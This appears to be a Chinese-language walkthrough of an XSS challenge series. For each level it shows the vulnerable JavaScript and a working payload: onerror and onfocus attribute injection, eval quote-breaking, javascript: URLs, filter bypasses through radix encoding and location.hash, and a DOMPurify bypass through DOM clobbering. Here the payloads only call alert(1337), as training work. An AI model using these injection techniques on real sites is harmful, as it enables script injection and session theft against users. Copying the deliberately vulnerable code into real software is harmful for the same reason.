目录
Rule
Pop an alert(1337)
No user interaction
1.Ma Spaghet!
Code
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
Pass
使用img标签的报错进行alert
?somebody=<img src=1 onerror="alert(1337)">
2.Jefff
Code
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
Pass
因为是eval,利用双引号闭合传入的name再接上alert并闭合后面的双引号即可
?jeff=a";alert(1337);"
?jeff=a"-alert(1337)-"
// JavaScript中也可以使用-来连接
3.Ugandan Knuckles
Code
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
Pass
input标签可以闭合在用户不介入的情况下可以使用autofocus自动对焦触发
?wey=a" onfocus="alert(1337)" autofocus="""
4.Ricardo Milos
Code
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
Pass
此处会接受ricardo的参数传递到action并在2s之后自动执行因此可以
?ricardo=javascript:alert(1337)
5.Ah That's Hawt
Code
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
Pass
很多的符号被过滤了可以使用img再使用location格式化为字符串
?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">
6.Ligma
Code
<script>
balls = new URL(location).searchParams.get("balls") || "Ninja has Ligma";
balls = balls.replace(/[A-Za-z0-9]/g, "");
eval(balls);
</script>
Pass
过滤了字母和数字可以使用编码,如JSFuck
?balls=经过编码的alert(1337)
7.Mafia
Code
<script>
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/(alert|confirm|prompt)/g, '_')
eval(mafia)
</script>
Pass
过滤许多字符并且限制了长度为50
Way-1
我们可以使用构造函数由于没过滤大写,可以先传入大写再使用toLowerCase转小写执行(因为JS严格区分大小写)
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
Way-2
可以使用parseInt将alert转成进制数再由toString转回来
parseInt('alert', 30)
// 8680439
8680439..toString(30)
// alert
至此构建我们的payload
?mafia=eval(8680439..toString(30))(1337)
Way-3
可以使用location.hash.slice(1)截取#后的传值
?mafia=eval(location.hash.slice(1))#alert(1337)
8.Ok, Boomer
Code
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
Pass
利用a标签传递id为ok的href到setTimeout(因为herf会自己toString),再使用DOMPurify白名单的协议绕过过滤,即
?boomer=<a id="ok" href="javascript:alert(1337)">
// javascript被DomPurity过滤
?boomer=<a id="ok" href="cid:alert(1337)">
// 使用白名单里的协议即可